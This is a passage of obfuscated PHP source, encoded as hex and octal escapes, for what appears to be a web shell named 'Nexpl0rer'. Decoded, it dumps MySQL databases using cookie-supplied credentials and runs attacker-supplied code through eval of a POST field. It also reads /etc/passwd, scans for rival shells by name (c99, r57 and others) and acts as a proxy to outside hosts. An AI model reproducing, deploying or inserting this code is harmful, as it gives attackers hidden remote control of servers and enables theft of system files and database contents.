44\x5f\x43\117\x4f\x4b\111\x45\133\x27\155\x79\163\161\x6c\137\165\163\x65\x72\47\135\x2c\x20\x24\137\x43\x4f\x4f\113\x49\x45\133\47\155\x79\163\x71\154\137\160\141\x73\x73\x27\x5d\x29\157\162\40\144\151\145\x28\x6d\x79\x73\161\154\137\145\x72\162\157\162\50\x29\51\73\xa\50\x69\163\163\x65\164\50\44\137\120\x4f\123\124\x5b\47\x64\x62\x6e\x61\x6d\x65\47\135\51\x29\40\x3f\40\155\171\x73\x71\x6c\x5f\x73\145\154\145\x63\164\137\x64\x62\50\44\137\x50\x4f\123\x54\x5b\x27\144\142\156\x61\x6d\x65\47\x5d\51\x20\x3a\40\160\162\x69\156\164\x20\42\42\73\xa\x24\x71\x20\75\40\x6d\x79\163\x71\x6c\137\161\x75\x65\162\x79\x28\x22\123\110\x4f\127\x20\x54\x41\x42\114\105\x53\42\x29\157\x72\40\x64\151\145\x28\155\x79\x73\161\154\137\145\x72\162\157\x72\x28\51\51\x3b\xa\167\x68\151\154\145\x20\x28\44\x74\141\x62\154\145\x20\x3d\x20\x6d\171\x73\x71\154\x5f\146\145\x74\143\x68\137\x61\162\162\141\x79\x28\44\x71\x29\51\40\x7b\12\44\x64\x75\x6d\x70\x20\56\x3d\40\x64\141\164\141\144\x75\x6d\160\x28\x24\x74\141\x62\x6c\145\x5b\x30\x5d\x29\73\xa\175\xa\44\x66\151\154\145\137\x6e\x61\155\145\x20\x3d\40\44\x64\x62\56\42\x5f\x64\165\x6d\x70\137\42\x2e\x64\141\x74\x65\50\42\x64\137\115\137\131\42\x29\x2e\42\137\116\x65\x78\x70\x6c\x30\x72\145\162\x2e\x22\56\163\x71\x6c\73\12\143\150\x64\151\x72\x28\x24\x64\151\x72\x29\73\xa\44\146\160\x20\75\40\146\157\x70\x65\x6e\50\44\x66\x69\154\145\137\156\141\x6d\x65\x2c\40\x22\167\53\42\51\x3b\40\146\167\x72\x69\x74\145\x28\x24\x66\x70\54\40\x24\144\165\155\x70\51\x3b\x20\x66\143\154\157\x73\145\50\x24\x66\x70\51\x3b\xa\x24\157\165\164\x70\x75\164\x20\56\x3d\40\47\104\165\155\160\40\163\x61\x76\x65\x64\x20\151\156\40\47\x2e\x24\x64\151\x72\x3b\xa\12\x7d\12\57\57\x20\x4d\153\104\x69\162\12\151\146\40\x28\x24\x5f\x50\x4f\x53\124\133\x27\155\x6f\x64\x65\x27\x5d\40\75\x3d\40\42\155\153\144\151\x72\x22\51\40\x7b\xa\143\150\144\x69\162\50\x24\144\x69\x72\x29\157\162\x20\x64\151\x65\50\x22\105\x72\162\157\162\x2e\42\x29\x3b\12\x69\146\40\x28\155\x6b\144\x69\162\x28\44\137\120\117\123\x54\x5b\47\x6d\x6b\144\x69\x72\x27\x5d\51\x29\x20\x7b\xa\x24\x6f\x75\164\160\165\x74\x20\75\x20\x22\104\151\x72\145\x63\164\157\x72\171\x20\143\x72\145\141\x74\x65\144\x2e\x22\73\xa\x7d\xa\175\xa\x2f\x2f\40\105\166\141\154\12\151\x66\40\50\44\137\x50\117\x53\x54\x5b\x27\155\157\x64\x65\47\135\40\x3d\x3d\40\42\x65\x76\x61\154\x22\51\x20\173\xa\143\x68\x64\151\x72\x28\44\144\x69\x72\x29\x3b\xa\x65\166\x61\x6c\x28\163\164\x72\x69\160\x73\154\x61\163\x68\x65\163\x28\44\x5f\120\x4f\x53\124\x5b\x27\x65\166\141\x6c\x27\135\51\51\73\12\x64\x69\x65\50\x29\73\12\175\xa\x2f\x2f\x20\x70\x68\x70\151\156\x66\x6f\12\x69\146\40\50\x24\137\120\117\x53\124\x5b\47\155\157\x64\x65\47\135\75\x3d\x22\x70\150\x70\151\156\x66\x6f\x22\51\x20\x7b\12\x70\x68\160\x69\156\146\157\x28\51\73\xa\144\151\145\50\51\73\12\175\xa\57\x2f\40\164\x6f\157\x6c\163\xa\x69\x66\x20\x28\44\137\x50\117\123\x54\133\x27\x6d\157\x64\x65\x27\x5d\x3d\75\x22\164\x6f\x6f\x6c\x73\x22\x29\x20\x7b\12\x9\x73\167\x69\164\x63\150\x28\44\137\x50\117\x53\124\x5b\x27\156\x6f\155\x65\164\x6f\157\x6c\47\135\x29\x20\173\12\x9\x9\57\x2f\160\141\x73\x73\167\144\xa\x9\x9\x63\x61\163\x65\x20\x27\160\x61\x73\x73\x77\x64\x27\x3a\12\11\11\11\151\x66\x20\50\x21\50\44\164\170\x74\40\75\x20\146\x69\x6c\145\137\147\x65\x74\x5f\143\x6f\x6e\x74\145\x6e\164\163\50\x22\x2f\145\164\x63\57\x70\141\163\163\x77\144\x22\51\x29\x29\x20\173\12\x9\x9\11\x9\44\157\x75\x74\x70\x75\x74\x20\75\x20\x22\x43\x61\x6e\x6e\x6f\x74\x20\x6f\160\145\x6e\40\x2f\145\164\143\x2f\160\141\163\163\167\144\x22\x3b\xa\x9\11\11\x7d\x20\145\x6c\x73\x65\40\173\xa\x9\11\x9\x9\44\157\165\164\160\165\164\x20\x3d\x20\x6e\x6c\62\x62\162\x28\x24\x74\170\164\x29\x3b\12\11\11\x9\x7d\40\xa\11\x9\142\162\145\x61\153\73\xa\x9\x9\xa\11\x9\x2f\x2f\x65\x6e\143\x6f\x64\x65\x72\xa\x9\11\143\x61\x73\x65\x20\47\145\156\143\157\x64\x65\162\x27\72\12\x9\x9\x9\x24\x6f\x75\164\x70\x75\164\40\x3d\x20\x22\12\11\x9\x9\x3c\x63\145\x6e\x74\145\162\x3e\xa\11\x9\x9\x3c\146\157\x72\x6d\40\x61\143\164\x69\x6f\x6e\x3d\43\40\155\x65\x74\150\x6f\144\x3d\x70\x6f\x73\164\x3e\x3c\151\156\160\x75\x74\40\164\171\160\x65\x3d\150\151\144\144\x65\x6e\40\x6e\141\155\x65\75\x6d\157\144\x65\40\x76\141\x6c\x75\x65\75\164\x6f\x6f\x6c\x73\76\xa\11\11\11\74\x69\x6e\160\165\x74\40\x74\171\160\x65\75\x68\x69\x64\x64\145\x6e\40\156\141\x6d\145\x3d\156\x6f\155\145\x74\157\157\x6c\40\166\141\154\165\145\x3d\145\x6e\143\x6f\x64\x65\162\76\12\x9\x9\x9\74\164\x65\170\164\x61\162\145\141\40\x6e\141\x6d\x65\75\134\x22\x70\x6c\141\x69\x6e\134\42\x20\143\157\154\163\75\65\x30\x20\162\x6f\x77\163\75\x35\x3e\x22\56\x24\x5f\120\x4f\123\124\x5b\x70\x6c\141\151\156\135\x2e\42\74\57\164\145\170\164\x61\162\145\x61\x3e\12\x9\11\11\74\142\x72\x3e\74\x62\162\76\12\x9\11\11\74\x69\x6e\160\165\164\40\x74\x79\160\x65\75\163\165\x62\x6d\x69\164\x20\x76\141\x6c\x75\145\x3d\x5c\42\143\x61\x6c\x63\165\x6c\141\x74\145\x5c\x22\x3e\x3c\142\162\76\74\x62\x72\x3e\12\11\x9\11\x3c\57\x63\x65\x6e\x74\145\162\76\xa\x9\11\x9\x3c\142\x3e\x48\141\163\x68\x65\163\x3c\57\x62\76\72\x3c\142\x72\x3e\12\x9\11\11\x3c\143\145\156\x74\145\162\x3e\155\x64\65\x20\55\12\11\x9\11\x20\x3c\151\x6e\160\x75\x74\x20\x74\x79\160\x65\75\x74\x65\x78\164\x20\x73\151\172\x65\x3d\x35\x30\40\x6f\x6e\106\157\x63\x75\x73\x3d\x5c\x22\x74\x68\x69\163\x2e\163\145\x6c\x65\x63\x74\x28\51\134\x22\x20\157\156\x4d\x6f\x75\x73\x65\157\166\145\162\75\134\x22\x74\150\151\x73\56\163\145\x6c\145\143\x74\x28\x29\134\42\40\157\156\115\157\165\x73\x65\157\x75\x74\75\x5c\x22\x74\x68\x69\x73\x2e\x73\x65\x6c\145\x63\164\50\x29\x5c\x22\40\x76\x61\154\165\x65\x3d\x5c\x22\42\56\155\x64\65\50\x24\x5f\x50\x4f\x53\124\x5b\x70\154\141\151\x6e\x5d\x29\56\x22\134\42\x20\162\x65\141\x64\x6f\x6e\154\x79\76\12\x9\x9\11\x20\x3c\x62\x72\x3e\x63\x72\x79\x70\x74\x20\x2d\40\74\x69\156\160\x75\164\40\x74\x79\160\145\75\x74\x65\x78\164\40\163\x69\x7a\x65\x3d\65\60\40\157\x6e\x46\157\143\x75\163\75\x5c\x22\x74\x68\151\163\56\x73\x65\x6c\x65\x63\164\50\x29\x5c\42\40\x6f\x6e\x4d\157\165\x73\x65\157\166\145\x72\x3d\134\x22\164\150\151\x73\x2e\x73\145\x6c\145\143\164\50\51\134\42\40\157\x6e\x4d\157\x75\x73\x65\x6f\x75\164\75\134\42\164\x68\151\163\56\163\145\x6c\x65\143\x74\50\x29\134\42\x20\166\141\154\165\x65\75\134\42\42\x2e\x63\162\171\x70\164\x28\x24\137\x50\117\123\124\133\160\x6c\x61\x69\x6e\x5d\51\x2e\42\x5c\42\40\162\145\141\144\x6f\156\x6c\171\76\12\11\11\x9\40\x3c\x62\x72\x3e\163\x68\x61\61\x20\x2d\x20\x3c\x69\x6e\160\x75\x74\x20\164\171\x70\145\75\164\145\170\164\40\x73\151\172\145\x3d\x35\60\x20\x6f\x6e\106\x6f\143\165\163\x3d\x5c\42\x74\150\x69\x73\x2e\163\x65\154\145\x63\x74\x28\x29\134\42\40\x6f\x6e\115\157\165\163\145\x6f\166\145\x72\x3d\134\42\164\150\x69\x73\x2e\x73\145\x6c\145\x63\x74\x28\x29\x5c\42\40\x6f\156\x4d\157\x75\163\145\157\165\x74\x3d\x5c\x22\164\x68\x69\163\56\x73\145\154\x65\143\164\50\x29\x5c\x22\40\166\x61\154\x75\x65\x3d\x5c\42\x22\56\163\x68\x61\x31\50\x24\137\120\117\123\x54\x5b\x70\154\x61\x69\x6e\135\x29\x2e\x22\x5c\42\x20\162\x65\141\x64\x6f\156\x6c\171\x3e\74\142\x72\76\12\x9\11\x9\40\x63\162\143\x33\62\x20\55\x20\x3c\151\x6e\160\x75\164\40\x74\171\x70\x65\75\x74\145\170\164\x20\x73\x69\172\x65\75\x35\x30\x20\x6f\156\106\x6f\143\165\163\75\x5c\x22\x74\150\151\x73\x2e\x73\145\154\x65\x63\164\x28\x29\x5c\42\x20\x6f\x6e\115\x6f\x75\x73\x65\x6f\x76\x65\162\75\x5c\x22\164\150\x69\x73\56\x73\145\x6c\145\143\x74\50\51\x5c\42\40\x6f\156\x4d\x6f\x75\163\145\x6f\x75\x74\x3d\134\x22\164\x68\151\163\x2e\163\x65\x6c\145\143\x74\x28\x29\x5c\x22\40\x76\x61\154\165\145\x3d\x5c\x22\42\56\143\162\143\63\x32\50\x24\137\x50\117\123\124\133\160\x6c\x61\151\156\135\51\x2e\42\134\42\40\x72\x65\x61\x64\x6f\x6e\154\171\76\x3c\142\x72\76\74\x2f\143\x65\156\x74\x65\162\x3e\x3c\142\x3e\125\162\154\x3a\74\57\x62\76\x3c\143\x65\x6e\x74\x65\x72\76\x3c\x62\162\76\165\x72\x6c\x65\x6e\143\157\x64\145\40\55\x20\74\x69\156\160\x75\x74\x20\x74\x79\x70\x65\75\164\x65\170\x74\x20\163\x69\x7a\145\x3d\x33\65\x20\x6f\156\106\157\x63\x75\163\x3d\x5c\42\164\x68\x69\x73\56\163\x65\x6c\x65\x63\164\x28\51\134\42\40\x6f\156\x4d\x6f\x75\x73\145\x6f\166\x65\162\75\134\x22\x74\150\x69\x73\x2e\x73\145\154\x65\x63\x74\50\x29\x5c\x22\x20\x6f\156\x4d\157\165\x73\x65\157\165\164\75\x5c\42\164\150\x69\163\x2e\163\x65\x6c\145\143\164\x28\51\134\42\40\x76\x61\154\x75\145\75\134\x22\x22\56\x75\x72\154\145\x6e\x63\x6f\x64\x65\x28\44\137\120\x4f\x53\x54\x5b\x70\x6c\x61\151\156\135\51\x2e\x22\x5c\42\x20\x72\x65\141\144\x6f\156\154\x79\76\xa\12\x20\x3c\x62\162\x3e\x75\x72\154\144\x65\143\157\144\145\40\55\x20\x3c\151\156\x70\x75\164\x20\164\x79\x70\145\x3d\x74\145\170\164\40\x73\x69\x7a\x65\75\63\65\x20\157\x6e\106\x6f\143\x75\x73\75\x5c\x22\x74\x68\151\x73\56\x73\x65\x6c\145\x63\x74\50\x29\134\x22\x20\157\156\115\x6f\165\x73\145\157\166\145\x72\x3d\134\42\x74\x68\151\163\x2e\163\145\x6c\x65\143\164\50\51\134\x22\40\x6f\156\115\157\x75\163\x65\157\x75\x74\75\x5c\42\x74\x68\x69\163\56\163\x65\x6c\145\x63\x74\x28\x29\134\42\x20\166\x61\154\x75\145\x3d\134\42\42\x2e\165\x72\x6c\144\x65\x63\157\144\145\x28\x24\x5f\120\x4f\123\x54\133\160\154\x61\x69\x6e\135\51\x2e\x22\x5c\x22\40\x72\145\x61\x64\x6f\156\x6c\171\x3e\xa\40\74\142\162\x3e\74\57\x63\145\156\164\x65\162\76\x3c\142\x3e\x42\141\x73\145\x36\x34\72\x3c\x2f\x62\x3e\74\143\x65\x6e\164\145\162\76\x62\x61\x73\x65\66\x34\137\145\x6e\x63\x6f\x64\145\x20\x2d\x20\x3c\x69\156\160\165\x74\40\164\x79\x70\145\x3d\x74\145\x78\164\40\163\151\x7a\x65\75\x33\x35\40\x6f\156\x46\157\143\x75\163\75\134\42\x74\x68\x69\x73\56\163\x65\154\145\143\164\x28\x29\134\42\x20\157\x6e\x4d\x6f\x75\x73\x65\157\166\145\x72\x3d\x5c\x22\164\x68\x69\163\x2e\x73\x65\154\145\x63\x74\x28\x29\134\x22\40\x6f\x6e\x4d\x6f\x75\x73\145\157\165\x74\75\x5c\42\x74\150\x69\163\56\163\145\x6c\145\x63\x74\x28\51\134\x22\x20\166\x61\154\x75\x65\75\134\x22\x22\x2e\x62\141\x73\145\66\x34\137\x65\156\x63\157\x64\x65\x28\x24\x5f\x50\117\x53\124\133\x70\x6c\141\x69\x6e\x5d\51\x2e\x22\x5c\x22\40\x72\145\x61\144\157\x6e\x6c\x79\x3e\74\57\x63\145\156\164\x65\162\76\x3c\143\145\156\x74\x65\162\x3e\x62\x61\x73\x65\66\64\x5f\x64\145\143\157\144\x65\40\55\40\74\151\156\x70\165\x74\x20\164\x79\x70\145\x3d\x74\145\x78\164\x20\163\x69\x7a\145\x3d\63\65\40\157\x6e\x46\157\143\x75\x73\x3d\x5c\x22\x74\x68\151\163\56\163\145\x6c\x65\x63\x74\x28\51\134\42\x20\x6f\x6e\x4d\x6f\165\x73\x65\157\x76\145\x72\x3d\134\42\164\150\151\x73\56\163\145\x6c\x65\x63\x74\50\x29\x5c\x22\40\x6f\156\115\157\x75\x73\x65\x6f\x75\x74\75\x5c\x22\x74\x68\x69\x73\56\x73\145\154\145\x63\x74\x28\x29\134\42\x20\x76\x61\x6c\x75\x65\x3d\134\x22\x22\56\142\141\x73\145\x36\64\x5f\x64\x65\x63\x6f\x64\x65\x28\44\x5f\x50\x4f\x53\x54\x5b\x70\154\x61\x69\156\135\x29\x2e\x22\x5c\42\40\162\145\141\x64\157\x6e\x6c\x79\76\x26\156\142\x73\x70\x3b\74\x2f\143\x65\156\x74\x65\162\x3e\12\40\74\x62\162\76\74\142\76\x42\x61\x73\x65\x20\x63\x6f\156\x76\x65\162\164\141\164\x69\x6f\156\163\x3c\57\x62\x3e\x3a\xa\40\74\143\145\156\164\x65\162\x3e\x64\x65\x63\x32\x68\x65\x78\40\55\40\74\x69\x6e\x70\165\164\x20\164\171\160\x65\x3d\164\x65\x78\x74\x20\163\x69\x7a\x65\75\x33\x35\40\x6f\x6e\x46\157\x63\165\163\75\x5c\42\164\x68\151\x73\56\163\145\154\x65\143\x74\x28\51\x5c\42\x20\157\x6e\115\x6f\x75\163\145\157\x76\x65\x72\x3d\134\42\164\150\151\163\x2e\x73\145\154\x65\x63\x74\x28\x29\x5c\42\x20\x6f\x6e\x4d\x6f\165\163\145\x6f\x75\x74\75\134\x22\x74\x68\x69\163\56\163\x65\154\145\143\164\50\x29\134\x22\x20\x76\141\x6c\x75\145\x3d\x5c\x22\x22\56\144\x65\143\x68\x65\x78\x28\x24\137\x50\117\x53\x54\133\160\x6c\141\151\x6e\x5d\51\x2e\x22\134\42\x20\162\x65\141\144\157\156\x6c\171\76\x3c\142\162\x3e\xa\x20\x3c\x2f\143\145\x6e\x74\x65\162\x3e\x3c\x2f\146\x6f\162\155\x3e\xa\x9\x9\11\42\x3b\12\11\x9\142\x72\x65\141\x6b\x3b\xa\x9\11\xa\x9\11\x2f\x2f\x20\163\x63\x61\x6e\x6e\145\162\12\11\11\x63\141\163\x65\x20\x27\163\143\x61\x6e\x6e\145\x72\x27\x3a\xa\x9\11\11\x24\163\143\141\x6e\144\151\x72\x20\75\40\163\164\162\x5f\162\x65\x70\x6c\141\x63\x65\50\162\x65\141\154\160\141\x74\150\50\x22\x2e\x22\51\x2c\40\x22\x22\54\x20\44\x64\151\x72\51\x3b\12\11\11\x9\12\11\x9\11\44\163\143\x61\x6e\x6e\145\x72\163\150\x20\x3d\x20\44\144\151\x72\x3b\xa\x9\x9\x9\151\x66\x20\x28\x24\x73\143\x61\156\x6e\x65\x72\163\x68\40\75\75\40\42\x22\x29\40\173\40\x24\163\x63\141\156\x6e\145\x72\163\150\x20\x3d\40\42\x2f\x22\x3b\x20\175\12\11\11\11\11\143\x68\144\x69\162\50\x24\x73\x63\141\x6e\156\x65\162\163\x68\x29\x3b\12\x9\11\11\11\44\x65\x76\151\154\x20\x3d\x20\141\x72\162\x61\x79\50\42\x64\x63\x33\42\x2c\40\42\x41\156\x74\151\x63\x68\x61\164\x22\x2c\x20\x22\163\61\60\x31\42\54\40\42\x6e\x65\146\141\163\164\x69\x63\141\x22\54\x20\x22\x6e\63\164\x53\150\145\154\x6c\42\54\40\42\116\145\170\145\156\42\x2c\x20\42\x33\63\x72\144\42\x2c\40\42\143\71\x39\x22\x2c\x20\42\143\62\60\x30\x37\x22\x2c\x20\42\x63\61\60\x30\42\54\x20\42\162\x35\67\42\54\40\x22\163\x68\x65\x6c\154\42\54\40\x22\x6b\x30\164\167\x22\x2c\40\42\156\145\170\160\154\60\x72\x65\162\x22\54\x20\42\x70\141\x72\141\x64\157\x78\x22\x2c\x20\42\x55\x70\x6c\x6f\141\144\x22\54\40\x22\x5a\151\x70\123\x68\x65\154\x6c\x22\x2c\40\x22\x55\163\165\x63\x6b\164\x6f\157\42\x2c\x20\x22\163\x68\x65\154\154\137\x65\170\145\143\42\x2c\40\42\x65\170\x65\x63\42\54\40\42\x44\170\x53\x68\x65\154\154\x22\54\x20\x22\103\x6f\x64\63\162\172\42\x2c\x20\42\106\x69\x72\145\x2d\103\x72\141\163\x68\x22\x2c\40\x22\163\165\142\x7a\x65\x72\x6f\x22\40\x20\51\x3b\x20\xa\12\x9\x9\x9\11\x24\157\x75\x74\160\165\x74\40\56\75\40\42\74\142\x72\x3e\110\x6f\40\x61\x6e\x61\154\151\172\172\x61\x74\x6f\x20\44\x73\x63\x61\x6e\156\145\x72\x73\150\74\142\x72\x3e\42\73\xa\x9\x9\x9\x9\x24\x63\150\x65\143\153\145\144\x20\75\40\x61\x72\162\141\x79\x28\51\73\40\xa\11\11\11\x9\x66\x6f\162\x65\141\x63\150\x20\x28\x67\x6c\157\x62\x28\42\52\56\160\x68\x70\x2a\42\x29\x20\141\163\40\44\146\x69\x6c\x65\51\40\xa\11\11\x9\11\173\40\xa\40\40\x20\x9\x9\11\11\11\x24\x61\40\75\40\x66\157\x70\145\x6e\x28\44\146\x69\154\145\x2c\40\x22\x72\53\x22\51\x3b\x20\xa\40\x20\40\x9\x9\x9\11\x9\44\x62\x20\x3d\40\x66\162\x65\141\x64\x28\44\x61\54\40\146\x69\154\x65\163\151\x7a\x65\50\x24\x66\151\x6c\145\x29\51\73\40\12\x20\x20\40\11\11\11\11\11\146\157\x72\40\x28\x24\151\x20\x3d\40\x30\x3b\x20\44\151\x20\x3c\x20\143\x6f\x75\x6e\164\x28\x24\145\x76\151\154\x29\x3b\40\44\x69\x2b\x2b\x29\x20\12\x20\x20\x20\11\x9\x9\x9\x9\173\x20\xa\40\40\40\40\x20\11\x9\x9\x9\11\40\44\155\145\40\x3d\x20\x61\x72\162\141\171\137\x72\145\x76\145\162\163\x65\50\x65\170\x70\154\157\x64\145\x28\x22\57\x22\x2c\x24\x5f\123\x45\122\x56\x45\x52\x5b\47\120\110\x50\137\123\105\x4c\x46\x27\135\51\x29\73\40\12\x20\x20\40\x20\x20\x20\11\11\x9\11\11\x20\x24\163\x74\x72\x20\x3d\x20\145\x72\x65\147\151\x28\44\x65\x76\151\x6c\133\44\151\135\54\x20\x24\142\51\73\x20\xa\11\x9\x9\x9\11\x20\40\40\x20\x20\x69\x66\40\x28\x28\44\163\x74\x72\x20\41\x3d\x3d\x20\106\x41\114\123\x45\51\40\x61\156\144\x20\50\44\146\x69\154\x65\40\x21\75\40\x24\x6d\x65\x5b\60\x5d\x29\40\141\156\144\x20\50\x21\151\156\137\x61\162\x72\x61\x79\50\44\146\151\154\x65\x2c\40\44\143\150\x65\x63\153\145\144\51\x29\x29\x20\12\x9\11\11\x9\11\x20\x20\x20\40\40\173\x20\xa\11\11\11\x9\x9\40\x20\x20\x20\x20\x20\x9\141\x72\162\x61\171\x5f\160\x75\x73\x68\50\44\143\150\x65\143\x6b\x65\x64\54\x20\44\146\151\x6c\145\51\73\12\11\x9\x9\x9\11\11\11\44\x6f\x75\x74\x70\x75\x74\40\56\x3d\40\42\x54\162\157\x76\x61\x74\157\x20\120\x6f\163\163\151\142\151\x6c\x65\x20\x24\x65\166\151\x6c\x5b\44\151\135\x20\151\x6e\40\x3c\x61\40\143\154\x61\x73\x73\x3d\47\154\151\x6e\153\47\x20\x68\x72\145\x66\x3d\x27\173\x24\163\143\x61\x6e\x64\x69\162\x7d\x7b\x24\146\151\154\x65\175\x27\x20\x74\x61\162\147\145\164\75\x27\x5f\142\154\x61\x6e\x6b\47\x3e\173\x24\146\x69\x6c\145\175\x3c\x2f\141\76\x3c\142\x72\x3e\x22\73\40\xa\x20\40\x20\x20\x20\40\x9\11\11\11\x9\40\x7d\12\x20\x20\40\x9\x9\11\11\11\x7d\x20\12\11\x9\11\x9\x9\x66\x63\154\157\163\145\x28\x24\141\x29\x3b\40\xa\40\11\11\11\11\175\12\xa\12\11\11\142\162\x65\x61\153\x3b\xa\11\11\xa\11\11\x2f\57\x20\x70\162\x6f\x78\x79\40\12\11\11\x63\x61\x73\x65\40\47\160\162\x6f\x78\x79\x27\x3a\12\11\x9\x24\x6f\165\x74\160\x75\x74\x20\x3d\40\x27\74\x66\157\162\x6d\40\x6d\145\164\150\157\144\75\42\160\x6f\x73\x74\42\x20\x61\x63\164\151\157\156\75\42\x23\x22\x3e\165\x72\x6c\72\40\74\151\156\x70\165\164\40\x6e\x61\155\x65\75\42\165\x72\154\42\40\x74\171\x70\x65\75\x22\164\145\170\164\42\40\x73\151\x7a\x65\75\x22\x35\x30\x22\x20\x2f\x3e\xa\11\11\11\x20\x3c\x69\x6e\160\165\x74\40\164\x79\x70\145\75\42\163\x75\142\155\x69\x74\42\x20\x76\141\154\x75\145\75\x22\x73\165\x72\146\42\x20\57\x3e\x20\xa\x9\11\x9\40\74\x69\156\160\x75\164\x20\156\141\155\145\75\42\x63\x75\x72\154\x22\40\164\171\160\x65\75\42\143\150\x65\143\153\142\157\x78\x22\x20\151\144\75\x22\143\x75\162\154\42\40\x76\141\x6c\165\x65\75\42\143\165\162\154\42\40\x2f\76\12\x9\x9\11\40\x75\163\145\40\143\165\x72\x6c\40\74\x69\156\160\x75\164\40\x6e\141\155\x65\75\x22\x66\x6f\160\145\156\x22\40\164\x79\x70\x65\x3d\42\x63\x68\145\x63\153\142\x6f\x78\42\x20\x69\144\75\42\146\x6f\x70\145\x6e\42\40\x76\141\x6c\165\145\x3d\42\x66\157\160\x65\156\42\x20\x2f\x3e\x20\165\x73\x65\x20\x66\x6f\160\145\x6e\74\x62\x72\40\x2f\76\x20\74\x69\156\x70\165\164\40\x74\x79\x70\145\75\x22\150\x69\144\144\145\x6e\42\40\x6e\141\155\145\x3d\42\x6d\x6f\x64\x65\42\40\166\141\x6c\165\x65\75\x22\160\162\157\170\x79\163\165\162\146\42\x20\x2f\x3e\xa\x9\x9\x9\x20\74\x2f\x66\157\x72\155\x3e\x3c\x62\162\x20\x2f\x3e\74\x62\162\40\57\76\47\73\xa\xa\11\x9\x62\x72\145\x61\x6b\x3b\xa\11\x7d\xa\x7d\xa\57\x2f\40\x70\x72\157\170\x79\x73\165\162\x66\12\x69\x66\40\x28\x24\137\x50\x4f\x53\124\133\x27\x6d\x6f\x64\x65\47\x5d\x20\75\75\40\47\x70\162\157\x78\x79\163\165\x72\146\47\51\x20\x7b\xa\x9\x9\11\40\12\11\x9\11\40\x24\x6f\165\164\160\x75\164\x20\x3d\40\x27\74\146\157\x72\x6d\x20\x6d\145\x74\150\157\x64\x3d\42\x70\157\x73\x74\x22\40\141\x63\x74\x69\x6f\156\x3d\42\43\x22\76\x75\x72\x6c\x3a\x20\74\151\x6e\x70\x75\164\x20\156\x61\155\x65\x3d\x22\165\x72\154\42\40\164\x79\160\145\x3d\42\164\x65\170\164\x22\x20\163\151\172\145\75\42\65\60\x22\40\57\76\xa\x9\11\11\40\74\x69\x6e\x70\165\164\40\x74\171\160\145\x3d\42\x73\x75\142\155\x69\164\x22\x20\x76\141\154\165\x65\75\x22\163\x75\x72\146\42\x20\x2f\x3e\40\12\11\11\x9\40\74\151\156\160\x75\x74\40\156\141\x6d\x65\75\42\143\x75\162\x6c\42\40\164\171\x70\145\75\x22\143\x68\145\x63\x6b\x62\x6f\170\x22\x20\151\144\x3d\42\x63\x75\162\x6c\x22\40\x76\x61\x6c\x75\145\75\x22\143\x75\x72\x6c\42\40\57\76\12\11\x9\x9\40\x75\163\x65\x20\x63\x75\x72\154\40\74\x69\156\x70\x75\164\x20\x6e\141\x6d\145\x3d\x22\146\157\160\x65\x6e\42\40\x74\x79\160\145\x3d\42\x63\150\145\x63\153\x62\x6f\170\42\40\x69\144\x3d\x22\x66\x6f\x70\145\x6e\42\40\166\x61\x6c\x75\145\75\x22\x66\x6f\x70\x65\x6e\x22\x20\x2f\76\40\165\x73\x65\x20\146\157\x70\x65\x6e\x3c\142\162\40\57\76\40\74\151\156\160\165\164\x20\164\171\160\x65\x3d\x22\150\151\144\x64\x65\x6e\42\40\156\x61\x6d\x65\75\42\155\157\x64\x65\x22\40\x76\141\154\165\x65\75\42\160\x72\157\170\x79\x73\x75\x72\x66\x22\40\x2f\x3e\xa\x9\11\11\40\74\57\146\x6f\x72\155\76\x3c\x62\x72\x20\57\76\74\x62\162\40\57\76\x27\x3b\xa\11\11\11\11\x69\x66\40\50\x21\44\x5f\120\x4f\x53\124\x5b\x63\x75\x72\x6c\x5d\40\46\46\40\41\x24\137\120\x4f\x53\x54\x5b\x66\x6f\x70\x65\156\135\x29\40\173\x20\xa\11\x9\11\11\44\x64\x69\x72\x7a\x3d\x22\42\73\12\11\11\x9\11\44\x75\x3d\x70\141\x72\163\145\x5f\165\x72\x6c\x28\44\x5f\x50\x4f\x53\x54\x5b\165\x72\154\135\x29\x3b\12\x9\11\x9\11\x24\150\x6f\x73\x74\x3d\x24\x75\x5b\x27\x68\157\x73\164\x27\135\73\44\146\151\154\x65\75\x28\41\145\155\x70\x74\x79\x28\44\x75\133\x27\x70\x61\164\x68\47\135\x29\x29\x3f\44\165\133\47\160\x61\164\x68\x27\x5d\x3a\47\57\47\73\12\11\x9\x9\11\x69\146\50\x73\x75\142\x73\164\x72\137\x63\x6f\x75\x6e\x74\50\x24\146\x69\154\x65\54\x27\x2f\47\51\x3e\x31\x29\44\x64\151\x72\172\x3d\163\x75\x62\163\164\162\x28\44\x66\x69\154\145\54\x30\54\50\x73\164\162\x70\x6f\163\x28\x24\x66\x69\154\145\x2c\47\x2f\47\51\x29\51\x3b\xa\x9\11\11\11\11\44\165\162\x6c\x3d\100\x66\163\157\x63\153\x6f\x70\145\x6e\x28\x24\150\157\x73\x74\x2c\x38\60\x2c\x24\145\x6e\x2c\x24\x65\x73\x2c\x31\62\x29\x3b\12\x9\x9\x9\x9\x9\x69\146\x28\x21\x24\x75\x72\x6c\x29\144\x69\145\50\x22\x3c\x62\x72\x3e\x20\103\x61\x6e\x20\156\x6f\164\40\x63\x6f\x6e\x6e\x65\143\164\40\x74\157\x20\150\157\x73\x74\x21\42\x29\x3b\12\x9\11\11\11\11\x66\160\165\x74\x73\x28\44\x75\162\x6c\54\42\107\105\124\40\x2f\x24\x66\151\154\145\x20\110\124\124\x50\x2f\x31\x2e\60\x5c\x72\134\156\x41\143\x63\145\160\x74\55\105\156\x63\157\144\151\156\x67\72\40\x74\145\170\164\134\162\134\x6e\x48\x6f\163\x74\x3a\40\44\150\x6f\x73\x74\x5c\162\134\x6e\x52\145\x66\x65\162\x65\162\x3a\x20\x24\x68\x6f\163\164\134\x72\x5c\156\125\163\145\x72\55\x41\147\145\156\x74\x3a\40\115\157\x7a\151\154\x6c\141\57\65\56\x30\40\11\11\x9\x9\11\x28\143\x6f\155\x70\x61\x74\x69\142\154\x65\x3b\40\x4b\157\156\161\x75\x65\162\157\162\x2f\x33\56\x31\x3b\40\106\x72\145\145\x42\123\104\x29\134\x72\x5c\156\134\x72\x5c\156\42\x29\x3b\12\x9\x9\x9\11\11\x77\150\151\x6c\145\50\41\x66\145\x6f\146\50\x24\165\162\154\51\51\x7b\xa\x9\x9\x9\11\11\11\44\x63\157\x6e\75\146\147\x65\164\x73\50\44\x75\162\154\x29\x3b\xa\x9\11\x9\x9\x9\x9\44\x6f\165\x74\160\165\164\40\x2e\x3d\40\x24\x63\157\x6e\x3b\xa\x9\11\x9\11\11\x9\x7d\xa\11\11\11\x9\x9\146\x63\x6c\